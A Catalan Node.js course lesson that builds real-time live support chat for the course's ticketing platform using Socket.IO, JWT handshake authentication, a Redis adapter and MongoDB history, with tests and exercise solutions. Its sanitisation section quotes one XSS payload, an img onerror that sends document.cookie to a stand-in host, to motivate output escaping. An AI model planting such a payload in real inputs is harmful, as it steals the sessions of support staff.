Al tancament del Mòdul 11 ja va quedar dit: deixem de construir una sola aplicació per construir-ne quatre de completes. I convé aclarir d'entrada que no són quatre dominis inventats ni quatre exercicis solts: són productes satèl·lit d'Escena Viva, la plataforma de venda d'entrades que portes construint des del Mòdul 1. El fil conductor no es trenca, es ramifica.
Aquest primer projecte és el suport en directe d'Escena Viva. La Lucía compra dues entrades per a l'evt-003 (Festival de Jazz de Primavera), no li arriba el correu amb els codis EV-2026-000417 i EV-2026-000418, i en comptes d'escriure un correu que es respondrà d'aquí a dos dies obre un xat des del web. A l'altra banda, un agent veu la conversa entrar en una cua i l'atén.
La idea genuïnament nova és la comunicació bidireccional en temps real. Tot el que hem fet fins ara segueix un patró: el client pregunta, el servidor respon. Aquí, per primera vegada, el servidor necessita parlar sense que ningú li hagi preguntat res.
Contingut
- El requisit de negoci i per què HTTP no basta
- Decisions de disseny: sondeig, sondeig llarg, SSE i WebSocket
- Què hi afegeix Socket.IO i què costa
- Integració amb l'aplicació existent
- Autenticar el socket al handshake
- El contracte d'esdeveniments del domini
- Sales de conversa: converses i grup d'agents
- Persistència de l'historial i càrrega per cursor
- El repte tècnic: escalar el temps real a diversos processos
- Presència, validació i límit de freqüència
- Proves i què queda fora
- El requisit de negoci i per què HTTP no basta
- Un assistent autenticat obre una conversa des de qualsevol pàgina, i queda en una cua visible per als agents connectats.
- Un agent la pren; a partir d'aquí té exactament un agent assignat.
- Tots dos veuen els missatges de l'altre a l'instant, sense recarregar, i quan l'altre escriu.
- L'historial es conserva: si la Lucía torna demà, veu el que es va dir.
Tot això és un CRUD normal tret del tercer punt. Amb el servidor node:http del M4 i l'Express 5 del M6, el servidor només pot parlar quan li pregunten. Si l'agent respon, no hi ha res en el model petició-resposta que porti aquell missatge al navegador de la Lucía per iniciativa del servidor.
- Decisions de disseny: sondeig, sondeig llarg, SSE i WebSocket
| Tècnica | Com funciona | Latència | Cost servidor | Bidireccional | Quan triar-la |
|---|---|---|---|---|---|
| Sondeig | El client demana cada N segons | N/2 de mitjana | Alt: peticions buides | No | Dades que canvien cada minuts, pocs clients |
| Sondeig llarg | El servidor reté la resposta fins que hi ha novetat | Gairebé immediata | Mitjà | No | Reserva si WebSocket està bloquejat |
SSE (text/event-stream) |
Connexió HTTP oberta per la qual el servidor escriu esdeveniments | Immediata | Baix | No: només servidor → client | Notificacions, marcadors, progrés |
| WebSocket | Actualització del protocol a un canal TCP full-dúplex | Immediata | Baix | Sí | Xat, col·laboració, jocs |
Descarts raonats. El sondeig: amb 300 assistents i sondeig cada 2 s són 150 peticions per segon, gairebé totes retornant buit; pitjor latència i més despesa. El sondeig llarg funciona —de fet és la reserva interna de Socket.IO— però triar-lo com a mecanisme principal obliga a reimplementar reconnexió, ordre i agrupament a mà. SSE és l'opció que més gent descarta massa de pressa, i és excel·lent: si el requisit fos només «l'assistent veu les respostes en viu», guanyaria, perquè és HTTP estàndard, travessa servidors intermediaris, es reconnecta sol amb Last-Event-ID i no necessita cap llibreria; però aquí l'assistent també escriu, i amb SSE tindríem dos canals (SSE per baixar, POST per pujar), dues rutes d'autenticació i dues d'error. L'asimetria no compensa. WebSocket guanya perquè el domini és simètric: tots dos extrems emeten i reben amb la mateixa freqüència i urgència.
- Què hi afegeix Socket.IO i què costa
| Necessitat | WebSocket pur | Socket.IO |
|---|---|---|
| Reconnexió en perdre la xarxa | L'escrius tu | Inclosa i configurable |
| Enviar a un subconjunt de clients | Estructura de dades pròpia | Sales de conversa (socket.join) |
| Saber si l'altre ha rebut el missatge | Protocol propi | Confirmacions (callback d'emit) |
Xarxes que bloquegen l'Upgrade |
Falla | Reserva a sondeig llarg |
| Separar dominis en un port | Rutes pròpies | Espais de noms (/suport) |
El cost, sense adorns: Socket.IO no és WebSocket estàndard, el seu protocol va per sobre. Un client que obri new WebSocket('wss://...') no hi entendrà res: el client ha de ser socket.io-client. Si demà el requisit fos «que un sistema extern es connecti al nostre canal», aquesta decisió passaria factura. Aquí tots dos extrems són el nostre front-end, així que el cost és assumible i el guany, enorme.
ioredis ja hi és des del M10; l'adaptador el reutilitza.
- Integració amb l'aplicació existent
Aquí es cobra una decisió de fa sis mòduls. Al M6 vas insistir que src/app.js exporta crearAplicacio() i mai crida listen; el listen viu a src/servidor.js, que crea l'http.Server a mà. Aquesta separació és exactament el que permet muntar Socket.IO ara: no es munta sobre una aplicació Express, es munta sobre un servidor HTTP.
// src/servidor.js — s'amplia, no es reescriu
const http = require('node:http');
const { crearAplicacio } = require('./app.js');
const { configuracio } = require('./config/index.js');
const { muntarTempsReal } = require('./temps-real/servidor-sockets.js');
async function arrencarServidor() {
const servidorHttp = http.createServer(crearAplicacio());
// El mateix servidor HTTP serveix l'API REST i el canal de temps real.
const io = await muntarTempsReal(servidorHttp);
servidorHttp.listen(configuracio.port);
// Aturada ordenada (M11): primer els sockets, despres l'HTTP.
// A l'inreves deixariem connexions penjades sense avisar el client.
const aturar = async () => {
await io.close();
servidorHttp.close(() => process.exit(0));
};
process.on('SIGTERM', aturar);
return { servidorHttp, io };
}
module.exports = { arrencarServidor };Un sol port: l'API a /api/v1/... i el temps real a /socket.io/ conviuen, sense tocar el balancejador ni el docker compose del M11. El SIGINT es registra igual que el SIGTERM.
- Autenticar el socket al handshake
Reutilitzem verificarAcces de src/serveis/tokens.js (M8) tal qual: no hi ha una autenticació «de sockets», hi ha la mateixa identitat verificada en un altre punt.
// src/temps-real/autenticacio-socket.js
const { verificarAcces } = require('../serveis/tokens.js');
// Middleware de Socket.IO: corre una vegada, al handshake,
// abans que el socket pugui emetre res.
function autenticarSocket(socket, seguent) {
const token = socket.handshake.auth?.token;
if (!token) return seguent(new Error('CREDENCIALS_ABSENTS'));
try {
const carrega = verificarAcces(token);
// La identitat queda al socket i estara disponible a cada esdeveniment.
socket.dadesUsuari = { usuariId: carrega.sub, rol: carrega.rol, nom: carrega.nom };
return seguent();
} catch { return seguent(new Error('CREDENCIALS_INVALIDES')); }
}
module.exports = { autenticarSocket };Per què el token d'accés i no la galeta de refresc. La galeta viatjaria també al handshake si l'origen coincideix, però recolzar-s'hi és mala idea: no s'ha d'utilitzar per autoritzar operacions sinó només per emetre accessos nous; en desplegaments amb dominis diferents no viatja sense relaxar SameSite; i handshake.auth és explícit, el client decideix quina credencial lliura. El problema que es descobreix en producció: l'accés caduca als 15 minuts i el socket viu hores. La connexió no cau tota sola. La solució sana és revalidar dins del mateix socket amb un setInterval d'un minut que verifiqui el token guardat i, si falla, emeti sessio:caducada i desconnecti. El client renova per REST amb la seva galeta de refresc i es torna a connectar. Deixar el socket viu per sempre equival a que revocar un usuari no tingui efecte fins que tanqui el navegador.
- El contracte d'esdeveniments del domini
Un nom d'esdeveniment és un contracte tan seriós com una ruta REST. Ningú no reanomenaria POST /api/v1/comandes a la lleugera; reanomenar missatge:enviar trenca igual, amb l'agreujant que no hi ha cap 404: el client emet al buit i ningú no se n'assabenta. Per això els esdeveniments es documenten, es versionen amb l'espai de noms (/suport/v1) i es centralitzen.
// src/temps-real/esdeveniments.js
// Contracte public del canal. Canviar un nom aqui es incompatible.
const ESDEVENIMENTS = {
// Client → servidor
CONVERSA_OBRIR: 'conversa:obrir', CONVERSA_TANCAR: 'conversa:tancar',
MISSATGE_ENVIAR: 'missatge:enviar', AGENT_ESCRIVINT: 'agent:escrivint',
HISTORIAL_CARREGAR: 'historial:carregar',
// Servidor → client
MISSATGE_REBUT: 'missatge:rebut', CONVERSA_ASSIGNADA: 'conversa:assignada',
CUA_ACTUALITZADA: 'cua:actualitzada',
};
module.exports = { ESDEVENIMENTS };Les confirmacions converteixen això en una cosa fiable: l'últim argument d'emit pot ser una funció que el receptor invoca.
// Client: envia i espera confirmacio amb temps limit.
socket.timeout(5000).emit('missatge:enviar',
{ conversaId, text, idClientMissatge: crypto.randomUUID() },
(errorTemps, resposta) => errorTemps
? reintentar(idClientMissatge)
: marcarLliurat(idClientMissatge, resposta.missatgeId));L'idClientMissatge és la clau del reintent segur: és la idempotència de l'Idempotency-Key del M10 aplicada a un socket. Si el client reintenta perquè no li va arribar la confirmació, el servidor reconeix l'identificador i retorna el missatge ja guardat en comptes de duplicar-lo.
- Sales de conversa: converses i grup d'agents
Una sala de conversa és només una etiqueta sobre un conjunt de sockets. En fem servir tres famílies:
| Sala de conversa | Qui hi entra | Per a què |
|---|---|---|
conversa:<id> |
L'assistent propietari i l'agent assignat | Missatges i «escrivint» |
agents |
Sockets amb rol organitzador o administrador | Cua de converses sense atendre |
usuari:<id> |
Tots els sockets d'un mateix usuari | Avisos personals (diverses pestanyes) |
// src/temps-real/gestors/conversa.js
const { ESDEVENIMENTS } = require('../esdeveniments.js');
const { esquemaObrirConversa, esquemaMissatge } = require('../esquemes.js');
function registrarGestorsConversa({ io, socket, repositoriXat }) {
const { usuariId, rol, nom } = socket.dadesUsuari;
socket.join(`usuari:${usuariId}`);
if (rol === 'organitzador' || rol === 'administrador') socket.join('agents');
socket.on(ESDEVENIMENTS.CONVERSA_OBRIR, async (dades, confirmar) => {
const analisi = esquemaObrirConversa.safeParse(dades);
if (!analisi.success) return confirmar({ error: { codi: 'DADES_INVALIDES', estat: 400 } });
const conversa = await repositoriXat.crearConversa({
assistentId: usuariId, assistentNom: nom, ...analisi.data,
estat: 'en_cua', creadaEl: new Date().toISOString() });
socket.join(`conversa:${conversa.id}`);
io.to('agents').emit(ESDEVENIMENTS.CUA_ACTUALITZADA, { conversa });
return confirmar({ conversa });
});
socket.on(ESDEVENIMENTS.MISSATGE_ENVIAR, async (dades, confirmar) => {
const analisi = esquemaMissatge.safeParse(dades);
if (!analisi.success) return confirmar({ error: { codi: 'DADES_INVALIDES', estat: 400 } });
const { conversaId, text, idClientMissatge } = analisi.data;
// Autoritzacio: el socket ha de ser a la sala. Es la versio en temps
// real de la referencia directa insegura del M8. Comprovar socket.rooms
// es barat i correcte perque entrar a la sala nomes ho concedeix el servidor.
if (!socket.rooms.has(`conversa:${conversaId}`)) {
return confirmar({ error: { codi: 'ACCES_DENEGAT', estat: 403 } });
}
const missatge = await repositoriXat.guardarMissatge({
conversaId, autorId: usuariId, autorNom: nom, autorRol: rol,
text, idClientMissatge, enviatEl: new Date().toISOString() });
io.to(`conversa:${conversaId}`).emit(ESDEVENIMENTS.MISSATGE_REBUT, missatge);
return confirmar({ missatgeId: missatge.id });
});
}
module.exports = { registrarGestorsConversa };
- Persistència de l'historial i càrrega per cursor
L'historial viu a MongoDB (M7), amb el patró repositori i sense deixar escapar Mongoose fora de src/repositoris/.
// src/repositoris/xat-mongo.js — extracte
// La consulta sempre es "aquesta conversa, per data".
esquemaMissatge.index({ conversaId: 1, enviatEl: -1 });
// Index unic: bloqueja el duplicat del reintent del punt 6.
esquemaMissatge.index({ conversaId: 1, idClientMissatge: 1 }, { unique: true });
async function carregarHistorial({ conversaId, cursor, limit = 30 }) {
const filtre = { conversaId };
// Paginacio per cursor del M10: res de skip, que degrada amb el volum.
if (cursor) filtre.enviatEl = { $lt: new Date(cursor) };
const docs = await ModelMissatge.find(filtre).sort({ enviatEl: -1 }).limit(limit + 1).lean();
const hiHaMes = docs.length > limit;
const pagina = hiHaMes ? docs.slice(0, limit) : docs;
return { missatges: pagina.reverse().map(aDomini),
cursorSeguent: hiHaMes ? pagina[0].enviatEl.toISOString() : null };
}En obrir es carreguen els 30 últims; en desplaçar-se cap amunt, el client emet historial:carregar amb cursorSeguent. És la paginació del M10 aplicada cap al passat.
- El repte tècnic: escalar el temps real a diversos processos
Al M10 vas arrencar amb cluster, i al M11 amb PM2 i diverses rèpliques a Docker. Amb una API REST sense estat això no canvia res. Amb sockets sí que importa, i de la pitjor manera: la Lucía es connecta i el balancejador l'envia al procés A, on viu el seu socket; en Marc, l'agent, cau al procés B i respon, així que B executa io.to('conversa:42').emit(...); però B només coneix els seus sockets i a la seva taula aquella sala conté únicament en Marc. El missatge es guarda a MongoDB i la Lucía no veu res fins que recarrega. És l'error més desconcertant possible: «funciona en local, funciona a vegades en producció».
La causa és que el registre de sockets i sales és memòria local del procés. La solució és l'adaptador de Redis: cada emissió es publica en un bus compartit i cada procés reparteix als seus.
flowchart LR
subgraph PA["Proces A"]
L["socket de Lucia"]
end
subgraph PB["Proces B"]
M["socket de Marc"]
end
R[("Redis pub/sub")]
M -->|"emit a conversa:42"| PB
PB -->|"PUBLISH"| R
R -->|"SUBSCRIBE"| PA
PA -->|"lliurament local"| L
// src/temps-real/servidor-sockets.js
const { Server } = require('socket.io');
const { createAdapter } = require('@socket.io/redis-adapter');
const Redis = require('ioredis');
const { autenticarSocket } = require('./autenticacio-socket.js');
const { registrarGestorsConversa } = require('./gestors/conversa.js');
async function muntarTempsReal(servidorHttp) {
const io = new Server(servidorHttp, {
cors: { origin: configuracio.origensPermesos, credentials: true },
maxHttpBufferSize: 100_000, // el valor per defecte (1 MB) es absurd per a un xat
pingInterval: 25_000, pingTimeout: 20_000 });
// Dues connexions: a Redis un client subscrit no pot executar
// altres ordres, i l'adaptador necessita publicar i subscriure.
const publicador = new Redis(configuracio.redis.url);
io.adapter(createAdapter(publicador, publicador.duplicate()));
const suport = io.of('/suport/v1');
suport.use(autenticarSocket);
const repositoriXat = crearRepositoriXat();
suport.on('connection', (socket) =>
registrarGestorsConversa({ io: suport, socket, repositoriXat }));
return io;
}
module.exports = { muntarTempsReal };Amb això, io.to(...) funciona igual amb un procés que amb dotze. Dos advertiments: l'adaptador no persisteix (si la Lucía està desconnectada, no rep res; per això MongoDB és la font de veritat i el socket només el canal ràpid), i amb la reserva de sondeig llarg activa calen sessions enganxoses, perquè les peticions d'un mateix client han de caure al mateix procés. Si fixes transports: ['websocket'], no calen.
- Presència, validació i límit de freqüència
Presència. «És en línia» sembla un booleà i no ho és: un portàtil que es tanca no avisa (el servidor se n'assabenta en fallar el batec, fins a 20 s després) i tancar una pestanya de tres no vol dir marxar. La regla: un comptador de sockets per usuari a Redis.
async function marcarConnectat({ redis, io, usuariId }) {
const total = await redis.incr(`presencia:${usuariId}`);
// Xarxa de seguretat: si el proces mor mai no fara el decr,
// i sense caducitat el comptador quedaria inflat per sempre.
await redis.expire(`presencia:${usuariId}`, 120);
if (total === 1) io.emit('presencia:canviada', { usuariId, enLinia: true });
}
async function marcarDesconnectat({ redis, io, usuariId }) {
if ((await redis.decr(`presencia:${usuariId}`)) > 0) return;
await redis.del(`presencia:${usuariId}`);
io.emit('presencia:canviada', { usuariId, enLinia: false });
}Validació. req.dadesValidades és un middleware d'Express i els esdeveniments de socket no passen per Express: cal validar a cada gestor amb els mateixos esquemes zod del M6.
// src/temps-real/esquemes.js
const esquemaMissatge = z.object({
conversaId: z.string().uuid(),
text: z.string().trim().min(1).max(2000),
idClientMissatge: z.string().uuid(),
});
const esquemaObrirConversa = z.object({
assumpte: z.string().trim().min(3).max(120),
esdevenimentId: z.string().regex(/^evt-\d{3}$/).optional(), // 'evt-003'
});
module.exports = { esquemaMissatge, esquemaObrirConversa };Sanejament. L'XSS entra pel xat: si un assistent escriu <img src=x onerror="fetch('//dolent.test?c='+document.cookie)"> i el panell de l'agent ho pinta amb innerHTML, l'atacant executa codi a la sessió d'un organitzador. La regla del M8 continua vigent: escapar en mostrar. El servidor guarda el text tal qual i el client fa servir textContent. Si el producte exigeix negreta i enllaços, se sanegen al servidor amb llista blanca, com al magazín del 12-03. I el límit de freqüència: express-rate-limit tampoc no actua aquí, així que un comptador dins del mateix socket ja n'hi ha prou —guarda les marques de temps dels últims 10 segons i rebutja si ja n'hi ha 10.
- Proves i què queda fora
Aquí cal un servidor real escoltant, perquè el protocol necessita un port. El patró: aixecar-lo al port 0, connectar clients reals i tancar-ho tot a l'afterEach.
// test/temps-real/xat.test.js
describe('suport en directe', () => {
let servidor; let sockets; let url;
beforeEach(async () => {
servidor = http.createServer(crearAplicacio());
sockets = await muntarTempsReal(servidor);
await new Promise((llest) => servidor.listen(0, llest)); // port 0: un de lliure
url = `http://localhost:${servidor.address().port}/suport/v1`;
});
afterEach(async () => { await sockets.close(); servidor.close(); });
const connectar = (rol, usuariId) => clientIo(url, { transports: ['websocket'],
auth: { token: signarTokenDeProva({ sub: usuariId, rol, nom: usuariId }) } });
it('rebutja la connexio sense token', (fi) => {
const client = clientIo(url, { transports: ['websocket'] });
client.on('connect_error', (error) => {
expect(error.message).to.equal('CREDENCIALS_ABSENTS');
client.close(); fi();
});
});
it('no lliura la conversa a un tercer alie a la sala', (fi) => {
const lucia = connectar('assistent', 'usr-lucia');
const intrus = connectar('assistent', 'usr-intrus');
intrus.on('missatge:rebut', () => fi(new Error('fuita entre sales')));
lucia.emit('conversa:obrir', { assumpte: 'No rebo les meves entrades' }, (r) =>
lucia.emit('missatge:enviar', { conversaId: r.conversa.id, text: 'Hola',
idClientMissatge: '11111111-1111-4111-8111-111111111111',
}, () => setTimeout(() => { lucia.close(); intrus.close(); fi(); }, 200)));
});
});No provis que Socket.IO lliura missatges: això ja ho proven ells. Prova la teva lògica: el rebuig sense token, l'aïllament de sales, la idempotència de l'idClientMissatge i que ningú no emet a una conversa on no és.
| Fora de l'abast | Per què | Com s'ampliaria |
|---|---|---|
| Adjunts | Duplica la feina de pujada del 12-03 | Pujar per REST i enviar per socket l'URL signada |
| Xifratge extrem a extrem | Incompatible amb moderació i auditoria | Només si el negoci accepta no llegir les converses |
| Transcripcions per correu | És feina de cua, no temps real | Treball BullMQ (M10) en tancar la conversa |
| Xatbot de primera línia | És un altre domini sencer | Base de coneixement abans d'encuar a l'agent |
Errors Comuns i Consells
- Emetre des d'un controlador REST sense accés a
io. No l'importis com a singleton global: injecta'l com a dependència (crearControladorComandes({ repositori, notificador })), igual que al M6. Es prova amb Sinon i no acobla capes. - Oblidar l'adaptador de Redis fins a producció. En local amb un procés tot funciona. Afegeix-lo des del primer dia.
- Confiar en l'
usuariIdque envia el client. La identitat és asocket.dadesUsuari, posada pel handshake verificat. - No posar
maxHttpBufferSize(un missatge de 5 MB tombaria la memòria) ni recrear connexions de Redis per socket: dues per a tot el procés, creades una sola vegada. - Consell: registra amb pino (M11) cada esdeveniment amb
usuariIdiconversaId. Un canal en temps real sense registres és impossible de depurar.
Exercicis
-
Cua d'agents amb repartiment. Implementa
conversa:prendre: només un agent pot prendre una conversa en cua; si dos ho intenten alhora, el segon rep{ error: { codi: 'CONFLICTE_DESTAT', estat: 409 } }. Emet a la salaagentsperquè desaparegui de la cua dels altres. -
Indicador d'escriptura amb caducitat. Implementa
agent:escrivintde manera que l'indicador s'apagui sol si no arriben esdeveniments en 3 segons, sense emetre'n un per cada tecla. -
Prova del reintent idempotent. Envia dues vegades el mateix
idClientMissatgei verifica que l'historial conté un únic missatge i que la segona confirmació retorna el mateixmissatgeId.
Solucions
1. Cua d'agents amb repartiment
socket.on('conversa:prendre', async (dades, confirmar) => {
const { rol, usuariId, nom } = socket.dadesUsuari;
if (rol !== 'organitzador' && rol !== 'administrador') {
return confirmar({ error: { codi: 'ACCES_DENEGAT', estat: 403 } });
}
// Actualitzacio condicional atomica: nomes canvia si continua en cua.
// Mateixa idea del blocatge del M7: la condicio viatja a la consulta.
const conversa = await repositoriXat.assignarSiEnCua({
conversaId: dades.conversaId, agentId: usuariId, agentNom: nom });
if (!conversa) return confirmar({ error: { codi: 'CONFLICTE_DESTAT', estat: 409,
missatge: "La conversa ja l'ha presa un altre agent" } });
socket.join(`conversa:${conversa.id}`);
io.to('agents').emit('cua:actualitzada', { conversaId: conversa.id, retirada: true });
io.to(`conversa:${conversa.id}`).emit('conversa:assignada', conversa);
return confirmar({ conversa });
});El repositori fa servir findOneAndUpdate({ _id, estat: 'en_cua' }, { $set: { estat: 'atesa', agentId } }, { new: true }): si un altre agent hi ha arribat abans, el filtre no encaixa i retorna null. Sense transaccions i sense condicions de carrera.
2. Indicador d'escriptura amb caducitat
// Servidor: reenvia a la sala menys a l'emissor, amb marca de caducitat.
socket.on('agent:escrivint', ({ conversaId }) => {
if (!socket.rooms.has(`conversa:${conversaId}`)) return;
// socket.to (no io.to) exclou l'emissor, que es el que volem aqui.
socket.to(`conversa:${conversaId}`).emit('agent:escrivint',
{ usuariId: socket.dadesUsuari.usuariId, fins: Date.now() + 3000 });
});
// Client: limita a una emissio cada 2 s i apaga per temporitzador.
socket.on('agent:escrivint', ({ usuariId, fins }) => {
mostrarIndicador(usuariId);
clearTimeout(temporitzadors[usuariId]);
temporitzadors[usuariId] = setTimeout(() => amagarIndicador(usuariId), fins - Date.now());
});A l'emissor, l'input no emet a cada tecla: guarda la marca de l'última emissió i només torna a emetre passats 2 segons. Així el trànsit és constant encara que s'escrigui molt de pressa.
3. Prova del reintent idempotent
it('no duplica el missatge si el client reintenta', async () => {
const lucia = connectar('assistent', 'usr-lucia');
const { conversa } = await emetreAmbEspera(lucia, 'conversa:obrir',
{ assumpte: 'Dubte amb evt-001' });
const carrega = { conversaId: conversa.id, text: 'Hola',
idClientMissatge: '22222222-2222-4222-8222-222222222222' };
const primera = await emetreAmbEspera(lucia, 'missatge:enviar', carrega);
const segona = await emetreAmbEspera(lucia, 'missatge:enviar', carrega);
expect(segona.missatgeId).to.equal(primera.missatgeId);
const { missatges } = await emetreAmbEspera(lucia, 'historial:carregar',
{ conversaId: conversa.id });
expect(missatges).to.have.lengthOf(1);
lucia.close();
});Al repositori, guardarMissatge captura l'error de clau duplicada (error.code === 11000) de l'índex únic del punt 8 i retorna el document existent. La idempotència es recolza en la base de dades, no en memòria: així funciona també amb diversos processos.
Conclusió
Has construït el suport en directe d'Escena Viva i, amb ell, l'única cosa que faltava al teu model mental del servidor: que pot parlar primer. Vas triar WebSocket per damunt de SSE perquè el domini és simètric, vas acceptar el cost de Socket.IO a canvi de reconnexió, sales i confirmacions, i vas muntar el canal sobre el mateix http.Server que ja tenies gràcies a una decisió del M6 que avui ha cobrat sentit.
El repte no era obrir un socket: era descobrir que el temps real i l'escalat horitzontal es porten malament per naturalesa, entendre per què el missatge es perd entre processos i resoldre-ho amb l'adaptador de Redis. Aquest patró —estat local que deixa de ser vàlid tan bon punt hi ha més d'un procés— reapareixerà cada vegada que escalis alguna cosa.
A la lliçó següent muntem la botiga de marxandatge d'Escena Viva, on apareix l'element que canvia totes les regles d'enginyeria: els diners de veritat, amb passarel·la de pagament, webhooks signats i una màquina d'estats que no admet errors.
Curs de Node.js: De Principiant a Avançat
Mòdul 1: Introducció a Node.js
- Què és Node.js?
- Instal·lació i Configuració de l'Entorn
- El Teu Primer Programa en Node.js
- El REPL de Node.js
- JavaScript Modern per a Node.js
- El Projecte del Curs: la Plataforma Escena Viva
Mòdul 2: Conceptes Bàsics
- Arquitectura de Node.js
- El Bucle d'Esdeveniments (Event Loop)
- Callbacks i Programació Asíncrona
- Promeses i async/await
- Esdeveniments i EventEmitter
- Mòduls CommonJS i require()
- Mòduls ES i Interoperabilitat
Mòdul 3: Sistema de Fitxers i E/S
- Lectura i Escriptura de Fitxers
- El Mòdul fs a Fons
- Rutes Multiplataforma amb el Mòdul path
- Treballant amb Streams
- Streams de Transformació i pipeline
- Buffers i Dades Binàries
Mòdul 4: HTTP i Servidors Web
- Creant un Servidor HTTP Simple
- Gestió de Sol·licituds i Respostes
- Enrutament Manual
- Servint Fitxers Estàtics
- Rebent Dades: Cossos de Petició i JSON
- Consumint APIs Externes des de Node.js
Mòdul 5: NPM i Gestió de Paquets
- Introducció a NPM i package.json
- Instal·lació i Ús de Paquets
- Versionat Semàntic i package-lock
- Scripts d'npm i Automatització del Projecte
- Creació i Publicació de Paquets
- Seguretat i Manteniment de Dependències
Mòdul 6: Framework Express.js
- Introducció a Express.js
- Configuració d'una Aplicació Express
- Enrutament a Express
- Middleware
- Middleware de Tercers Essencials
- Validació de Dades d'Entrada
- Gestió d'Errors
Mòdul 7: Bases de Dades i ORMs
- Introducció a les Bases de Dades
- Usant MongoDB amb Mongoose
- Operacions CRUD
- Relacions, Poblat i Consultes Avançades
- Usant Bases de Dades SQL amb Sequelize
- Migracions, Transaccions i Dades de Prova
Mòdul 8: Autenticació i Autorització
- Introducció a l'Autenticació
- Registre d'Usuaris i Hash de Contrasenyes
- Sessions i Galetes amb Passport.js
- Autenticació amb JWT
- Control d'Accés Basat en Rols
- Bones Pràctiques de Seguretat en APIs
Mòdul 9: Proves i Depuració
- Introducció a les Proves
- Proves Unitàries amb Mocha i Chai
- Dobles de Prova amb Sinon
- Proves d'Integració
- Cobertura i Automatització de les Proves
- Depuració d'Aplicacions Node.js
Mòdul 10: Temes Avançats
- El Mòdul Cluster
- Fils de Treball (Worker Threads)
- Memòria Cau i Cues de Treball amb Redis
- Optimització del Rendiment
- Construcció d'APIs RESTful
- GraphQL amb Node.js
Mòdul 11: Desplegament i DevOps
- Configuració i Variables d'Entorn
- Registre i Monitoratge en Producció
- Usant PM2 per a la Gestió de Processos
- Empaquetatge amb Docker
- Desplegant a Heroku i Altres PaaS
- Integració i Desplegament Continus
